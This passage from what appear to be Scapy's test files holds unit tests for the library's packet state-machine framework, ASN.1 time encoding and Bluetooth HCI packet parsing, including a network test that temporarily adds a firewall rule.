self.MAIN(s*2+\"b\")\n    @ATMT.state(final=1)\n    def END(self, s):\n        return s\n    @ATMT.action(go_to_END)\n    def action_test(self, s):\n        self.result = s\n\n= Simple automaton Tests\n~ automaton\n\na=ATMT1(init=\"a\", ll=lambda: None, recvsock=lambda: None)\nr = a.run()\nr\nassert r == 'aabaaababaaabaaababab'\nr = a.result\nr\nassert r == 'aabaaababaaabaaababab'\na = ATMT1(init=\"b\", ll=lambda: None, recvsock=lambda: None)\nr = a.run()\nr\nassert r == 'babababababababababababababab'\nr = a.result\nassert r == 'babababababababababababababab'\n\n= Simple automaton stuck test\n~ automaton\n\ntry:\n    ATMT1(init=\"\", ll=lambda: None, recvsock=lambda: None).run()\nexcept Automaton.Stuck:\n    True\nelse:\n    False\n\n\n= Automaton state overloading\n~ automaton\nclass ATMT2(ATMT1):\n    @ATMT.state()\n    def MAIN(self, s):\n        return \"c\"+ATMT1.MAIN(self, s).run()\n\na=ATMT2(init=\"a\", ll=lambda: None, recvsock=lambda: None)\nr = a.run()\nr\nassert r == 'ccccccacabacccacababacccccacabacccacababab'\n\n\nr = a.result\nr\nassert r == 'ccccccacabacccacababacccccacabacccacababab'\na=ATMT2(init=\"b\", ll=lambda: None, recvsock=lambda: None)\nr = a.run()\nr\nassert r == 'cccccbaccbabaccccbaccbabab'\nr = a.result\nr\nassert r == 'cccccbaccbabaccccbaccbabab'\n\n\n= Automaton condition overloading\n~ automaton\nclass ATMT3(ATMT2):\n    @ATMT.condition(ATMT1.MAIN)\n    def trA(self, s):\n        if s.endswith(\"b\"):\n            raise self.MAIN(s+\"da\")\n\n\na=ATMT3(init=\"a\", ll=lambda: None, recvsock=lambda: None)\nr = a.run()\nr\nassert r == 'cccccacabdacccacabdabda'\nr = a.result\nr\nassert r == 'cccccacabdacccacabdabda'\na=ATMT3(init=\"b\", ll=lambda: None, recvsock=lambda: None)\nr = a.run()\nr\nassert r == 'cccccbdaccbdabdaccccbdaccbdabdab'\n\nr = a.result\nr\nassert r == 'cccccbdaccbdabdaccccbdaccbdabdab'\n\n\n= Automaton action overloading\n~ automaton\nclass ATMT4(ATMT3):\n    @ATMT.action(ATMT1.go_to_END)\n    def action_test(self, s):\n        self.result = \"e\"+s+\"e\"\n\na=ATMT4(init=\"a\", ll=lambda: None, recvsock=lambda: None)\nr = a.run()\nr\nassert r == 'cccccacabdacccacabdabda'\nr = a.result\nr\nassert r == 'ecccccacabdacccacabdabdae'\na=ATMT4(init=\"b\", ll=lambda: None, recvsock=lambda: None)\nr = a.run()\nr\nassert r == 'cccccbdaccbdabdaccccbdaccbdabdab'\nr = a.result\nr\nassert r == 'ecccccbdaccbdabdaccccbdaccbdabdabe'\n\n\n= Automaton priorities\n~ automaton\nclass ATMT5(Automaton):\n    @ATMT.state(initial=1)\n    def BEGIN(self):\n        self.res = \"J\"\n    @ATMT.condition(BEGIN, prio=1)\n    def tr1(self):\n        self.res += \"i\"\n        raise self.END()\n    @ATMT.condition(BEGIN)\n    def tr2(self):\n        self.res += \"p\"\n    @ATMT.condition(BEGIN, prio=-1)\n    def tr3(self):\n        self.res += \"u\"\n    @ATMT.action(tr1)\n    def ac1(self):\n        self.res += \"e\"\n    @ATMT.action(tr1, prio=-1)\n    def ac2(self):\n        self.res += \"t\"\n    @ATMT.action(tr1, prio=1)\n    def ac3(self):\n        self.res += \"r\"\n    @ATMT.state(final=1)\n    def END(self):\n        return self.res\n\na=ATMT5(ll=lambda: None, recvsock=lambda: None)\nr = a.run()\nr\nassert r == 'Jupiter'\n\n= Automaton test same action for many conditions\n~ automaton\nclass ATMT6(Automaton):\n    @ATMT.state(initial=1)\n    def BEGIN(self):\n        self.res=\"M\"\n    @ATMT.condition(BEGIN)\n    def tr1(self):\n        raise self.MIDDLE()\n    @ATMT.action(tr1) # default prio=0\n    def add_e(self):\n        self.res += \"e\"\n    @ATMT.action(tr1, prio=2)\n    def add_c(self):\n        self.res += \"c\"\n    @ATMT.state()\n    def MIDDLE(self):\n        self.res += \"u\"\n    @ATMT.condition(MIDDLE)\n    def tr2(self):\n        raise self.END()\n    @ATMT.action(tr2, prio=2)\n    def add_y(self):\n        self.res += \"y\"\n    @ATMT.action(tr1, prio=1)\n    @ATMT.action(tr2)\n    def add_r(self):\n        self.res += \"r\"\n    @ATMT.state(final=1)\n    def END(self):\n        return self.res\n\na=ATMT6(ll=lambda: None, recvsock=lambda: None)\nr = a.run()\nassert r == 'Mercury'\n\na.restart()\nr = a.run()\nr\nassert r == 'Mercury'\n\n= Automaton test io event\n~ automaton\n\nclass ATMT7(Automaton):\n    @ATMT.state(initial=1)\n    def BEGIN(self):\n        self.res = \"S\"\n    @ATMT.ioevent(BEGIN, name=\"tst\")\n    def tr1(self, fd):\n        self.res += fd.recv()\n        raise self.NEXT_STATE()\n    @ATMT.state()\n    def NEXT_STATE(self):\n        self.oi.tst.send(\"ur\")\n    @ATMT.ioevent(NEXT_STATE, name=\"tst\")\n    def tr2(self, fd):\n        self.res += fd.recv()\n        raise self.END()\n    @ATMT.state(final=1)\n    def END(self):\n        self.res += \"n\"\n        return self.res\n\na=ATMT7(ll=lambda: None, recvsock=lambda: None)\na.run(wait=False)\na.io.tst.send(\"at\")\nr = a.io.tst.recv()\nr\na.io.tst.send(r)\nr = a.run()\nr\nassert r == \"Saturn\"\n\na.restart()\na.run(wait=False)\na.io.tst.send(\"at\")\nr = a.io.tst.recv()\nr\na.io.tst.send(r)\nr = a.run()\nr\nassert r == \"Saturn\"\n\n= Automaton test io event from external fd\n~ automaton\nimport os\n\nclass ATMT8(Automaton):\n    @ATMT.state(initial=1)\n    def BEGIN(self):\n        self.res = b\"U\"\n    @ATMT.ioevent(BEGIN, name=\"extfd\")\n    def tr1(self, fd):\n        self.res += fd.read(2)\n        raise self.NEXT_STATE()\n    @ATMT.state()\n    def NEXT_STATE(self):\n        pass\n    @ATMT.ioevent(NEXT_STATE, name=\"extfd\")\n    def tr2(self, fd):\n        self.res += fd.read(2)\n        raise self.END()\n    @ATMT.state(final=1)\n    def END(self):\n        self.res += b\"s\"\n        return self.res\n\nif WINDOWS:\n    r = w = ObjectPipe()\nelse:\n    r,w = os.pipe()\n\ndef writeOn(w, msg):\n    if WINDOWS:\n        w.write(msg)\n    else:\n        os.write(w, msg)\n\na=ATMT8(external_fd={\"extfd\":r}, ll=lambda: None, recvsock=lambda: None)\na.run(wait=False)\nwriteOn(w, b\"ra\")\nwriteOn(w, b\"nu\")\n\nr = a.run()\nr\nassert r == b\"Uranus\"\n\na.restart()\na.run(wait=False)\nwriteOn(w, b\"ra\")\nwriteOn(w, b\"nu\")\nr = a.run()\nr\nassert r == b\"Uranus\"\n\n= Automaton test interception_points, and restart\n~ automaton\nclass ATMT9(Automaton):\n    def my_send(self, x):\n        self.io.loop.send(x)\n    @ATMT.state(initial=1)\n    def BEGIN(self):\n        self.res = \"V\"\n        self.send(Raw(\"ENU\"))\n    @ATMT.ioevent(BEGIN, name=\"loop\")\n    def received_sth(self, fd):\n        self.res += plain_str(fd.recv().load)\n        raise self.END()\n    @ATMT.state(final=1)\n    def END(self):\n        self.res += \"s\"\n        return self.res\n\na=ATMT9(debug=5, ll=lambda: None, recvsock=lambda: None)\nr = a.run()\nr\nassert r == \"VENUs\"\n\na.restart()\nr = a.run()\nr\nassert r == \"VENUs\"\n\na.restart()\na.BEGIN.intercepts()\nwhile True:\n    try:\n        x = a.run()\n    except Automaton.InterceptionPoint as p:\n        a.accept_packet(Raw(p.packet.load.lower()), wait=False)\n    else:\n        break\n\nr = x\nr\nassert r == \"Venus\"\n\n= Automaton timer function\n~ run timers\n\nclass TimerTest(Automaton):\n    @ATMT.state(initial=1)\n    def BEGIN(self):\n        self.count1 = 0\n        self.count2 = 0\n    @ATMT.timer(BEGIN, 0.1)\n    def count1(self):\n        self.count1 += 1\n    @ATMT.timer(BEGIN, 0.15)\n    def count2(self):\n        self.count2 += 1\n    @ATMT.timeout(BEGIN, 1)\n    def goto_end(self):\n        raise self.END()\n    @ATMT.state(final=1)\n    def END(self):\n        pass\n\nsm = TimerTest(ll=lambda: None, recvsock=lambda: None)\nsm.run()\n\nassert sm.timer_by_name(\"count0\") is None\nassert sm.timer_by_name(\"count1\") is not None\nassert sm.timer_by_name(\"count1\")._timeout == 0.1\nassert sm.timer_by_name(\"count2\") is not None\nassert sm.timer_by_name(\"count2\")._timeout == 0.15\nassert sm.timer_by_name(\"goto_end\") is not None\nassert sm.timer_by_name(\"goto_end\")._timeout == 1\nassert sm.count1 == 10\nassert sm.count2 == 6\n\n~ reconfigure timers\n\nsm = TimerTest(ll=lambda: None, recvsock=lambda: None)\nsm.timer_by_name(\"count1\").set(0.2)\nsm.timer_by_name(\"count2\").set(0.25)\nsm.run()\nassert sm.count1 == 5\nassert sm.count2 == 4\n\n~ timeout\n\nclass TimerTest(Automaton):\n    @ATMT.state(initial=1)\n    def BEGIN(self):\n        self.count1 = 0\n        self.count2 = 0\n    @ATMT.timeout(BEGIN, 0.1)\n    def count1(self):\n        self.count1 += 1\n    @ATMT.timer(BEGIN, 0.15)\n    def count2(self):\n        self.count2 += 1\n    @ATMT.timeout(BEGIN, 1)\n    def goto_end(self):\n        raise self.END()\n    @ATMT.state(final=1)\n    def END(self):\n        pass\n\nsm = TimerTest(ll=lambda: None, recvsock=lambda: None)\nsm.run()\n\nassert sm.count1 == 1\nassert sm.count2 == 6\n\n= Automaton graph\n~ automaton\n\nclass HelloWorld(Automaton):\n    @ATMT.state(initial=1)\n    def BEGIN(self):\n        self.count1 = 0\n        self.count2 = 0\n    @ATMT.timer(BEGIN, 0.1)\n    def count1(self):\n        self.count1 += 1\n    @ATMT.timer(BEGIN, 0.15)\n    def count2(self):\n        self.count2 += 1\n    @ATMT.timeout(BEGIN, 1)\n    def goto_end(self):\n        raise self.END()\n    @ATMT.state(final=1)\n    def END(self):\n        pass\n\ngraph = HelloWorld.build_graph()\nassert graph.startswith(\"digraph\")\nassert '\"BEGIN\" -> \"END\"' in graph\n\n= Automaton graph - with indirection\n~ automaton\n\nclass HelloWorld(Automaton):\n    @ATMT.state(initial=1)\n    def BEGIN(self):\n        self.count1 = 0\n        self.count2 = 0\n    @ATMT.condition(BEGIN)\n    def cnd_1(self):\n        self.cnd_generic()\n    def cnd_generic(self):\n        raise END\n    @ATMT.state(final=1)\n    def END(self):\n        pass\n\ngraph = HelloWorld.build_graph()\nassert graph.startswith(\"digraph\")\nassert '\"BEGIN\" -> \"END\"' in graph\n\n= TCP_client automaton\n~ automaton netaccess needs_root\n* This test retries on failure because it may fail quite easily\n\nimport functools\n\nSECDEV_IP4 = \"217.25.178.5\"\n\nif LINUX:\n    import os\n    IPTABLE_RULE = \"iptables -%c INPUT -s %s -p tcp --sport 80 -j DROP\"\n    # Drop packets from SECDEV_IP4\n    assert os.system(IPTABLE_RULE % ('A', SECDEV_IP4)) == 0\n\nload_layer(\"http\")\n\ndef _tcp_client_test():\n    req = HTTP()/HTTPRequest(\n        Accept_Encoding=b'gzip, deflate',\n        Cache_Control=b'no-cache',\n        Pragma=b'no-cache',\n        Connection=b'keep-alive',\n        Host=b'www.secdev.org',\n    )\n    t = TCP_client.tcplink(HTTP, SECDEV_IP4, 80, debug=4)\n    response = t.sr1(req, timeout=3)\n    t.close()\n    assert response.Http_Version == b'HTTP/1.1'\n    assert response.Status_Code == b'200'\n    assert response.Reason_Phrase == b'OK'\n\ndef _http_request_test(_raw=False):\n    response = http_request(\"www.google.com\", path=\"/\", raw=_raw, iptables=LINUX, verbose=4)\n    assert response.Http_Version == b'HTTP/1.1'\n    assert response.Status_Code == b'200'\n    assert response.Reason_Phrase == b'OK'\n\n# Native sockets\nretry_test(_http_request_test)\n\n# Our raw socket test doesn't pass on Travis BSD\n# (likely because the firewall is different and our iptables call isn't enough)\nif not BSD:\n    retry_test(functools.partial(_http_request_test, _raw=True))\n\nif LINUX:\n    try:\n        retry_test(_tcp_client_test)\n    finally:\n        if LINUX:\n            # Remove the iptables rule\n            assert os.system(IPTABLE_RULE % ('D', SECDEV_IP4)) == 0\n\n"
  },
  {
    "path": "test/scapy/layers/asn1.uts",
    "content": "% Tests for generic ASN.1 encoding\n\n#\n# Try me with:\n# bash test/run_tests -t test/scapy/layers/asn1.uts -F\n\n########### ASN.1 border case #######################################\n\n+ ASN.1 Generalized Time\n= short HH\nrepr(ASN1_GENERALIZED_TIME(\"1999123123\")).startswith(\"1999-12-31 23:00:00 <\")\n= short HH (invalid)\n\"invalid\" in repr(ASN1_GENERALIZED_TIME(\"1999123124\"))\n= short HHMM\nrepr(ASN1_GENERALIZED_TIME(\"199912312359\")).startswith(\"1999-12-31 23:59:00 <\")\n= short HHMM (invalid)\n\"invalid\" in repr(ASN1_GENERALIZED_TIME(\"199912312360\"))\n= full\nrepr(ASN1_GENERALIZED_TIME(\"19991231235959\")).startswith(\"1999-12-31 23:59:59 <\")\n= full (invalid)\n\"invalid\" in repr(ASN1_GENERALIZED_TIME(\"19991231235960\"))\n= with microseconds\nrepr(ASN1_GENERALIZED_TIME(\"19991231235959.999\")).startswith(\"1999-12-31 23:59:59.999 <\")\n= with microseconds (invalid)\nassert \"invalid\" in repr(ASN1_GENERALIZED_TIME(\"1999123125959.99\"))\nassert \"invalid\" in repr(ASN1_GENERALIZED_TIME(\"1999123125959.99x\"))\nassert \"invalid\" in repr(ASN1_GENERALIZED_TIME(\"1999123125959.9999\"))\n\n\n+ ASN.1 Generalized Time (Zulu)\n= Z short HH\nrepr(ASN1_GENERALIZED_TIME(\"1999123123Z\")).startswith(\"1999-12-31 23:00:00 UTC <\")\n= Z short HHMM\nrepr(ASN1_GENERALIZED_TIME(\"199912312359Z\")).startswith(\"1999-12-31 23:59:00 UTC <\")\n= Z full\nrepr(ASN1_GENERALIZED_TIME(\"19991231235959Z\")).startswith(\"1999-12-31 23:59:59 UTC <\")\n= Z with microseconds\nrepr(ASN1_GENERALIZED_TIME(\"19991231235959.999Z\")).startswith(\"1999-12-31 23:59:59.999 UTC <\")\n\n\n+ ASN.1 Generalized Time (Timezone Offset)\n= offset short HH\nASN1_GENERALIZED_TIME(\"1999123123+0100\")\nrepr(ASN1_GENERALIZED_TIME(\"1999123123+0100\")).startswith(\"1999-12-31 23:00:00 +0100 <\")\n= offset short HHMM\nrepr(ASN1_GENERALIZED_TIME(\"199912312359+0100\")).startswith(\"1999-12-31 23:59:00 +0100 <\")\n= offset full\nrepr(ASN1_GENERALIZED_TIME(\"19991231235959+0100\")).startswith(\"1999-12-31 23:59:59 +0100 <\")\n= offset with microseconds\nrepr(ASN1_GENERALIZED_TIME(\"19991231235959.999+0100\")).startswith(\"1999-12-31 23:59:59.999 +0100 <\")\n= offset negative\nrepr(ASN1_GENERALIZED_TIME(\"19991231235959-2359\")).startswith(\"1999-12-31 23:59:59 -2359 <\")\n= offset invalid (offset >= 24h)\nassert \"invalid\" in repr(ASN1_GENERALIZED_TIME(\"19991231235959-2400\"))\nassert \"invalid\" in repr(ASN1_GENERALIZED_TIME(\"19991231235959+2400\"))\n\n\n+ ASN.1 UTC Time\n= UTC short HHMM\nrepr(ASN1_UTC_TIME(\"9912312359Z\")).startswith(\"1999-12-31 23:59:00 UTC <\")\n= UTC short HHMM (no Z)\n\"invalid\" in repr(ASN1_UTC_TIME(\"9912312359\"))\n= UTC short HHMM (invalid)\n\"invalid\" in repr(ASN1_UTC_TIME(\"99123160\"))\n= UTC full\nrepr(ASN1_UTC_TIME(\"991231235959Z\")).startswith(\"1999-12-31 23:59:59 UTC <\")\n= UTC full (no Z)\n\"invalid\" in repr(ASN1_UTC_TIME(\"991231235959\"))\n= UTC full (invalid)\n\"invalid\" in repr(ASN1_UTC_TIME(\"9912315960\"))\n\n+ ASN.1 Generalized Time (datetime member)\n= prepare\nclass TZ(tzinfo):\n    def __init__(self, delta): self.delta = delta\n    def utcoffset(self, dt): return self.delta\n    def dst(self, dt): return None\n= short HH datetime\nASN1_GENERALIZED_TIME(\"1999123123\").datetime == datetime(1999, 12, 31, 23)\n= short HHMM datetime\nASN1_GENERALIZED_TIME(\"199912312359\").datetime == datetime(1999, 12, 31, 23, 59)\n= full datetime\nASN1_GENERALIZED_TIME(\"19991231235959\").datetime == datetime(1999, 12, 31, 23, 59, 59)\n= datetime assignment\nx = ASN1_GENERALIZED_TIME(\"19991231235959.999\")\nx.datetime = datetime(2020, 12, 31)\nassert x.val == \"20201231000000\"\nx.datetime = x.datetime.replace(tzinfo=timezone.utc)\nx.val == \"20201231000000Z\"\n= datetime construction\nASN1_GENERALIZED_TIME(datetime(2020, 12, 31)).val == \"20201231000000\"\n= datetime construction (UTC)\nASN1_GENERALIZED_TIME(datetime(2020, 12, 31, tzinfo=timezone.utc)).val == \"20201231000000Z\"\n= datetime construction (offset)\nASN1_GENERALIZED_TIME(datetime(2020, 12, 31, tzinfo=timezone(timedelta(hours=-23, minutes=-59)))).val == \"20201231000000-2359\"\n\n+ ASN.1 UTC Time (datetime member)\n= UTC datetime construction\nASN1_UTC_TIME(datetime(2020, 12, 31)).val == \"201231000000\"\n= UTC datetime construction (Z)\nASN1_UTC_TIME(datetime(2020, 12, 31, tzinfo=timezone.utc)).val == \"201231000000Z\"\n= UTC datetime construction (offset)\nASN1_UTC_TIME(datetime(2020, 12, 31, tzinfo=timezone(timedelta(hours=-23, minutes=-59)))).val == \"201231000000-2359\"\n"
  },
  {
    "path": "test/scapy/layers/bluetooth.uts",
    "content": "% Scapy Bluetooth layer tests\n\n+ Bluetooth tests\n\n= HCI layers\n\n#  HCI_Command_Hdr\n# default construction\nhci_cmd_hdr = HCI_Command_Hdr()\nassert hci_cmd_hdr.ogf == 0\nassert hci_cmd_hdr.ocf == 0\nassert hci_cmd_hdr.len == None\nassert raw(hci_cmd_hdr) == b'\\x00\\x00\\x00'\n\n# parsing\nhci_cmd_hdr = HCI_Command_Hdr(raw(hci_cmd_hdr))\nassert hci_cmd_hdr.ogf == 0\nassert hci_cmd_hdr.ocf == 0\nassert hci_cmd_hdr.len == 0\n\n# HCI_Cmd_Inquiry default construction\nhci_cmd_inquiry = HCI_Command_Hdr() / HCI_Cmd_Inquiry()\nassert hci_cmd_inquiry.ogf == 0x01\nassert hci_cmd_inquiry.ocf == 0x01\nassert hci_cmd_inquiry.len == None\nassert hci_cmd_inquiry.lap == 0x9e8b33\nassert hci_cmd_inquiry.inquiry_length == 0\nassert hci_cmd_inquiry.num_responses == 0\n\n# parsing\nhci_cmd_inquiry = HCI_Command_Hdr(raw(hci_cmd_inquiry))\nassert hci_cmd_inquiry.ogf == 0x01\nassert hci_cmd_inquiry.ocf == 0x01\nassert hci_cmd_inquiry.len == 5\nassert hci_cmd_inquiry.lap == 0x9e8b33\nassert hci_cmd_inquiry.inquiry_length == 0\nassert hci_cmd_inquiry.num_responses == 0\n\n# HCI_Cmd_Inquiry constructing an invalid packet\nhci_cmd_inquiry = HCI_Command_Hdr(len = 10) / HCI_Cmd_Inquiry()\nassert hci_cmd_inquiry.ogf == 0x01\nassert hci_cmd_inquiry.ocf == 0x01\nassert hci_cmd_inquiry.len == 10\nassert hci_cmd_inquiry.lap == 0x9e8b33\nassert hci_cmd_inquiry.inquiry_length == 0\nassert hci_cmd_inquiry.num_responses == 0\n\nassert raw(hci_cmd_inquiry)[2] == 10\n\n# parse the invalid packet\nhci_cmd_inquiry = HCI_Command_Hdr(raw(hci_cmd_inquiry))\nassert hci_cmd_inquiry.ogf == 0x01\nassert hci_cmd_inquiry.ocf == 0x01\nassert hci_cmd_inquiry.len == 10\nassert hci_cmd_inquiry.lap == 0x9e8b33\nassert hci_cmd_inquiry.inquiry_length == 0\nassert hci_cmd_inquiry.num_responses == 0\n\n# HCI_Cmd_Inquiry_Cancel default construction\nhci_cmd_inquiry_cancel = HCI_Command_Hdr() / HCI_Cmd_Inquiry_Cancel()\nassert hci_cmd_inquiry_cancel.ogf == 0x01\nassert hci_cmd_inquiry_cancel.ocf == 0x02\nassert hci_cmd_inquiry_cancel.len == None\n\n# hci_cmd_inquiry_cancel parsing\nhci_cmd_inquiry_cancel = HCI_Command_Hdr(raw(hci_cmd_inquiry_cancel))\nassert hci_cmd_inquiry_cancel.ogf == 0x01\nassert hci_cmd_inquiry_cancel.ocf == 0x02\nassert hci_cmd_inquiry_cancel.len == 0\n\n\n# Hci_Cmd_Hold_Mode\nhci_cmd_hold_mode = HCI_Command_Hdr() / HCI_Cmd_Hold_Mode()\nassert hci_cmd_hold_mode.ogf == 0x02\nassert hci_cmd_hold_mode.ocf == 0x01\nassert hci_cmd_hold_mode.len == None\n\n# parsing\nhci_cmd_hold_mode = HCI_Command_Hdr(raw(hci_cmd_hold_mode))\nassert hci_cmd_hold_mode.ogf == 0x02\nassert hci_cmd_hold_mode.ocf == 0x01\nassert hci_cmd_hold_mode.len == 6\n\n# HCI_Cmd_Set_Event_Mask\nhci_cmd_set_event_mask = HCI_Command_Hdr() / HCI_Cmd_Set_Event_Mask()\nassert hci_cmd_set_event_mask.ogf == 0x03\nassert hci_cmd_set_event_mask.ocf == 0x01\nassert hci_cmd_set_event_mask.len == None\n\n# parsing\nhci_cmd_set_event_mask = HCI_Command_Hdr(raw(hci_cmd_set_event_mask))\nassert hci_cmd_set_event_mask.ogf == 0x03\nassert hci_cmd_set_event_mask.ocf == 0x01\nassert hci_cmd_set_event_mask.len == 8\n\n# HCI_Cmd_Read_BD_Addr\nhci_cmd_read_bd_addr = HCI_Command_Hdr() / HCI_Cmd_Read_BD_Addr()\nassert hci_cmd_read_bd_addr.ogf == 0x04\nassert hci_cmd_read_bd_addr.ocf == 0x09\nassert hci_cmd_read_bd_addr.len == None\n\n# parsing\nhci_cmd_read_bd_addr = HCI_Command_Hdr(raw(hci_cmd_read_bd_addr))\nassert hci_cmd_read_bd_addr.ogf == 0x04\nassert hci_cmd_read_bd_addr.ocf == 0x09\nassert hci_cmd_read_bd_addr.len == 0\n\n\n# HCI_Cmd_Read_Link_Quality\nhci_cmd_read_link_quality = HCI_Command_Hdr() / HCI_Cmd_Read_Link_Quality()\nassert hci_cmd_read_link_quality.ogf == 0x05\nassert hci_cmd_read_link_quality.ocf == 0x03\nassert hci_cmd_read_link_quality.len == None\n\n# parsing\nhci_cmd_read_link_quality = HCI_Command_Hdr(raw(hci_cmd_read_link_quality))\nassert hci_cmd_read_link_quality.ogf == 0x05\nassert hci_cmd_read_link_quality.ocf == 0x03\nassert hci_cmd_read_link_quality.len == 2\n\n\n# HCI_Cmd_Read_Loopback_Mode\nhci_cmd_read_loopback_mode = HCI_Command_Hdr() / HCI_Cmd_Read_Loopback_Mode()\nassert hci_cmd_read_loopback_mode.ogf == 0x06\nassert hci_cmd_read_loopback_mode.ocf == 0x01\nassert hci_cmd_read_loopback_mode.len == None\n\n# parsing\nhci_cmd_read_loopback_mode = HCI_Command_Hdr(raw(hci_cmd_read_loopback_mode))\nassert hci_cmd_read_loopback_mode.ogf == 0x06\nassert hci_cmd_read_loopback_mode.ocf == 0x01\nassert hci_cmd_read_loopback_mode.len == 0\n\n\n# HCI_Cmd_LE_Read_Buffer_Size_V1\nhci_cmd_le_read_buffer_size_v1 = HCI_Command_Hdr() / HCI_Cmd_LE_Read_Buffer_Size_V1()\nassert hci_cmd_le_read_buffer_size_v1.ogf == 0x08\nassert hci_cmd_le_read_buffer_size_v1.ocf == 0x02\nassert hci_cmd_le_read_buffer_size_v1.len == None\n\n# parsing\nhci_cmd_le_read_buffer_size_v1 = HCI_Command_Hdr(raw(hci_cmd_le_read_buffer_size_v1))\nassert hci_cmd_le_read_buffer_size_v1.ogf == 0x08\nassert hci_cmd_le_read_buffer_size_v1.ocf == 0x02\nassert hci_cmd_le_read_buffer_size_v1.len == 0\n\n+ Bluetooth Transport Layers\n\n= Test HCI_PHDR_Hdr piling up\n\npkt = HCI_PHDR_Hdr()/HCI_Hdr()/HCI_ACL_Hdr()/L2CAP_Hdr()/L2CAP_CmdHdr()/L2CAP_InfoReq()\nassert raw(pkt) == b'\\x00\\x00\\x00\\x00\\x02\\x00\\x00\\n\\x00\\x06\\x00\\x05\\x00\\n\\x01\\x02\\x00\\x00\\x00'\npkt = HCI_PHDR_Hdr(raw(pkt))\n\nassert HCI_Hdr in pkt\nassert L2CAP_InfoReq in pkt\nassert pkt[L2CAP_Hdr].len == 6\nassert pkt[L2CAP_Hdr].cid == 5\nassert pkt[L2CAP_CmdHdr].code == 10\nassert pkt[L2CAP_CmdHdr].id == 1\nassert pkt[L2CAP_CmdHdr].len == 2\nassert len(pkt[L2CAP_InfoReq]) == 2\n\n+ HCI Commands\n\n= Create Connection\n\ncmd = HCI_Hdr(hex_bytes(\"0105040d76d56f95010018cc0200000001\"))\nassert HCI_Cmd_Create_Connection in cmd\nassert cmd[HCI_Cmd_Create_Connection].bd_addr == \"00:01:95:6f:d5:76\"\nassert cmd[HCI_Cmd_Create_Connection].packet_type == 52248\nassert cmd[HCI_Cmd_Create_Connection].page_scan_repetition_mode == 2\nassert cmd[HCI_Cmd_Create_Connection].reserved == 0\nassert cmd[HCI_Cmd_Create_Connection].clock_offset == 0\nassert cmd[HCI_Cmd_Create_Connection].allow_role_switch == 1\n\n= Authentication Requested\n\ncmd = HCI_Hdr(hex_bytes(\"011104020001\"))\nassert HCI_Cmd_Authentication_Requested in cmd\nassert cmd[HCI_Cmd_Authentication_Requested].handle == 256\n\n= Link Key Request Reply\n\ncmd = HCI_Hdr(hex_bytes(\"010b041676d56f9501006c9016a48a009180086a39200f03d3dd\"))\nassert HCI_Cmd_Link_Key_Request_Reply in cmd\nassert cmd[HCI_Cmd_Link_Key_Request_Reply].bd_addr == \"00:01:95:6f:d5:76\"\nassert cmd[HCI_Cmd_Link_Key_Request_Reply].link_key == 0x6c9016a48a009180086a39200f03d3dd\n\n= Set Connection Encryption\n\ncmd = HCI_Hdr(hex_bytes(\"01130403000101\"))\nassert HCI_Cmd_Set_Connection_Encryption in cmd\nassert cmd[HCI_Cmd_Set_Connection_Encryption].handle == 256\nassert cmd[HCI_Cmd_Set_Connection_Encryption].encryption_enable == 1\n\n= Remote Name Request\n\ncmd = HCI_Hdr(hex_bytes(\"0119040a76d56f95010002000000\"))\nassert HCI_Cmd_Remote_Name_Request in cmd\nassert cmd[HCI_Cmd_Remote_Name_Request].bd_addr == \"00:01:95:6f:d5:76\"\nassert cmd[HCI_Cmd_Remote_Name_Request].page_scan_repetition_mode == 2\nassert cmd[HCI_Cmd_Remote_Name_Request].reserved == 0\nassert cmd[HCI_Cmd_Remote_Name_Request].clock_offset == 0\n\n= 7.3.12 Read Local Name\ncmd = HCI_Hdr() / HCI_Command_Hdr() / HCI_Cmd_Read_Local_Name()\nassert raw(cmd) == hex_bytes(\"01140c00\")\n\n# Response\nresponse = HCI_Hdr(hex_bytes(\"040efc01140c00546865726d6973746f7200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000\"))\nassert HCI_Cmd_Complete_Read_Local_Name in response\nassert response[HCI_Cmd_Complete_Read_Local_Name].local_name.decode('utf-8').rstrip('\\x00') == 'Thermistor'\nassert response.answers(cmd)\n\n= 7.4.1 Read Local Version Information\ncmd = HCI_Hdr() / HCI_Command_Hdr() / HCI_Cmd_Read_Local_Version_Information()\nassert raw(cmd) == hex_bytes(\"01011000\")\n\n# Response\nresponse = HCI_Hdr(hex_bytes(\"040e0c010110000900100931010c22\"))\nassert HCI_Cmd_Complete_Read_Local_Version_Information in response\nassert response[HCI_Cmd_Complete_Read_Local_Version_Information].hci_version == 9\nassert response[HCI_Cmd_Complete_Read_Local_Version_Information].hci_subversion == 4096\nassert response[HCI_Cmd_Complete_Read_Local_Version_Information].lmp_version == 9\nassert response[HCI_Cmd_Complete_Read_Local_Version_Information].company_identifier == 0x0131\nassert response[HCI_Cmd_Complete_Read_Local_Version_Information].lmp_subversion == 8716\nassert response.answers(cmd)\n\n= 7.4.4 Read Local Extended Features\ncmd = HCI_Hdr() / HCI_Command_Hdr() / HCI_Cmd_Read_Local_Extended_Features(page_number=1)\nassert raw(cmd) == hex_bytes(\"0104100101\")\n\n# Response\nresponse = HCI_Hdr(hex_bytes(\"040e0e0104100001020000000000000000\"))\nassert HCI_Cmd_Complete_Read_Local_Extended_Features in response\nassert response[HCI_Cmd_Complete_Read_Local_Extended_Features].page == 1\nassert response[HCI_Cmd_Complete_Read_Local_Extended_Features].max_page == 2\nassert response[HCI_Cmd_Complete_Read_Local_Extended_Features].extended_features == 0\nassert response.answers(cmd)\n\n= LE Create Connection\n\n# Request data\ncmd = HCI_Hdr(hex_bytes(\"010d2019600060000001123456677890001800280000002a0000000000\"))\nassert HCI_Cmd_LE_Create_Connection in cmd\nassert cmd[HCI_Cmd_LE_Create_Connection].paddr == '90:78:67:56:34:12'\nassert cmd[HCI_Cmd_LE_Create_Connection].patype == 1\n\n# Response data\npending = HCI_Hdr(hex_bytes(\"040f0400020d20\"))\nassert pending.answers(cmd)\n\ncomplete = HCI_Hdr(hex_bytes(\"043e1301020000000112345667789000000000000000\"))\nassert HCI_LE_Meta_Connection_Complete in complete\nassert complete[HCI_LE_Meta_Connection_Complete].paddr == '90:78:67:56:34:12'\nassert complete.answers(cmd)\n\n# Invalid combinations\nassert not cmd.answers(cmd)\nassert not pending.answers(pending)\nassert not complete.answers(complete)\nassert not pending.answers(complete)\nassert not complete.answers(pending)\n\n= LE Create Connection Cancel\n\n# Craft a request...\nexpected_cmd_raw_data = hex_bytes(\"010e2000\")\ncmd = 